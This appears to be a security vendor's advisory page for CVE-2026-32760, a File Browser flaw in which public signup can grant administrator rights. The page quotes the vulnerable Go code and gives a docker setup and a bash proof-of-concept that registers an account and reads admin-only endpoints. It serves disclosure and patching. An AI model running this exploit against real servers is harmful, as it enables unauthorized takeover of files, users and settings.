Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-32760 — filebrowser

🔴 CVSS 9.8 — Critical ⚠️ Exploit Public CWE-269 NVD
9.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

File Browser Signup Grants Admin When Default Permissions Include Admin

Summary

Any unauthenticated visitor can register a full administrator account when self-registration ( signup = true ) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the

new user without any server-side guard that strips admin from self-registered accounts.

Details

Affected file: http/auth.go

Vulnerable code:

```go

user := &users.User{

Username: info.Username,

}

d.settings.Defaults.Apply(user)

```

settings.UserDefaults.Apply (settings/defaults.go):

```go

func (d *UserDefaults) Apply(u *users.User) {

u.Perm = d.Perm

...

}

```

Settings API permits Admin in defaults (http/settings.go):

```go

var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {

...

d.settings.Defaults = req.Defaults

...

})

```

The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.

Demo Server Setup

```bash

docker run -d --name fb-test \

-p 8080:80 \

-v /tmp/fb-data:/srv \

filebrowser/filebrowser:v2.31.2

ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \

-H 'Content-Type: application/json' \

-d '{"username":"admin","password":"admin"}')

curl -s -X PUT http://localhost:8080/api/settings \

-H "X-Auth: $ADMIN_TOKEN" \

-H 'Content-Type: application/json' \

-d '{

"signup": true,

"defaults": {

"perm": {

"admin": true,

"execute": true,

"create": true,

"rename": true,

"modify": true,

"delete": true,

"share": true,

"download": true

}

}

}'

```

PoC Exploit

```bash

#!/bin/bash

TARGET="http://localhost:8080"

echo "[*] Registering attacker account via public signup endpoint..."

STATUS=$(curl -s -o /dev/null -w "%{http_code}" \

-X POST "$TARGET/api/signup" \

-H "Content-Type: application/json" \

-d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Signup response: HTTP $STATUS"

echo "[*] Logging in as newly created account..."

ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \

-H "Content-Type: application/json" \

-d '{"username":"attacker","password":"Attack3r!pass"}')

echo "[*] Fetching user list with attacker token (admin-only endpoint)..."

curl -s "$TARGET/api/users" \

-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool

echo ""

echo "[*] Verifying admin access by reading /api/settings..."

curl -s "$TARGET/api/settings" \

-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool

```

Expected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.

Impact

Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account.

From there, they can:

  • List, read, modify, and delete every file on the server
  • Create, modify, and delete all other users
  • Change authentication method and server settings
  • Execute arbitrary commands if enableExec = true

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-32760 is classified as CWE-269: Improper Privilege Management. Privileges are assigned, dropped or restored incorrectly, leaving an actor with more access than intended.

Affected software

CVE-2026-32760 is recorded against 3 packages.

  • filebrowser (fixed in 2.62.0)
  • github.com/filebrowser/filebrowser
  • github.com/filebrowser/filebrowser/v2

Timeline and source

Published on 20 March 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com

Other advisories for this package

filebrowser has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-269: Improper Privilege Management) in other software:

Details

Severity CRITICAL
CVSS Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-269
Public Exploit ⚠️ Yes
Source NVD
Published 2026-03-20
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
filebrowser 2.62.0
github.com/filebrowser/filebrowser
github.com/filebrowser/filebrowser/v2

Similar Threats

Exploit Protection

Are you running filebrowser?

CVE-2026-32760 carries CVSS 9.8 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-32760 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026